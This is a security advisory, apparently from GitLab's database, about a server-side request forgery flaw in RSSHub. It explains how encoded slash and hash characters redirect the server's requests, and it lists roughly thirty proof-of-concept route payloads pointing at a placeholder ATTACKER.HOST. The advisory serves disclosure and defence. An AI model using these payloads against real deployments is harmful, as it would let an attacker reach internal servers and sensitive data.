GMS-2023-27: RSSHub SSRF vulnerability
Summary
RSSHub is vulnerable to Server-Side Request Forgery (SSRF) attacks. This vulnerability allows an attacker to send arbitrary HTTP requests from the server to other servers or resources on the network.
Description
An attacker can exploit this vulnerability by sending a request to the affected routes with a malicious URL. For example, if an attacker controls the ATTACKER.HOST
domain, they can send a request to affected routes with the value set to ATTACKER.HOST%2F%23
.
The %2F
and %23
characters are URL-encoded versions of the forward-slash (/
) and pound (#
) characters, respectively. In this context, an attacker could use those characters to append the base URL (i.e. https://${input}.defined.host
) to be modified to https://ATTACKER.HOST/#.defined.host
. This will cause the server to send a request to the attacker-controlled domain, allowing the attacker to potentially gain access to sensitive information or perform further attacks on the server.
Proof of Concept
The following routes are affected by this vulnerability:
- /19lou/ATTACKER.HOST%2F%23/foo
- /bandisoft/1/ATTACKER.HOST%2F%23
- /bendibao/news/ATTACKER.HOST%2F%23
- /bitbucket/commits/.* (special treatment, set the
BITBUCKET_USERNAME
environment value toATTACKER.HOST%2F%23
) - /blogs/hedwig/ATTACKER.HOST%2F%23
- /booth.pm/shop/ATTACKER.HOST%2F%23
- /caixin/blog/ATTACKER.HOST%2F%23
- /cnjxol/ATTACKER.HOST%2F%23
- /dut/ATTACKER.HOST%2F%23
- /eagle/blog/ATTACKER.HOST%2F%23
- /engadget/ATTACKER.HOST%2F%23
- /fashionnetwork/headline/ATTACKER.HOST%2F%23/hello/foo/bar
- /gamme/ATTACKER.HOST%2F%23
- /gitlab/explore/foo/ATTACKER.HOST%2F%23
- /gumroad/ATTACKER.HOST%2F%23/foo
- /itch/devlog/ATTACKER.HOST%2F%23/1
- /javdb/tags/foo=bar?domain=ATTACKER.HOST
- /mastodon/account_id/ATTACKER.HOST/1/statuses
- /mastodon/remote/ATTACKER.HOST
- /mastodon/timeline/ATTACKER.HOST
- /mirror/ATTACKER.HOST%2F%23id (special treatment, should end with
id
) - /people/ATTACKER.HOST%2F%23
- /pornhub/ATTACKER.HOST%2F%23/category_url/foo
- /pornhub/ATTACKER.HOST%2F%23/model/foo
- /pornhub/ATTACKER.HOST%2F%23/pornstar/foo
- /pornhub/ATTACKER.HOST%2F%23/users/foo
- /scitation/ATTACKER.HOST%2F%23/foo
- /solidot/ATTACKER.HOST%2F%23
- /touhougarakuta/ATTACKER.HOST%2F%23/foo
- /yahoo-news/ATTACKER.HOST%2F%23
- /zhubai/ATTACKER.HOST%2F%23
- /ziroom/room/ATTACKER.HOST%2F%23/hello/foo/bar
Impact
An attacker could use this vulnerability to send requests to internal or any other servers or resources on the network, potentially gain access to sensitive information that would not normally be accessible and amplifying the impact of the attack.
References
Detect and mitigate GMS-2023-27 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →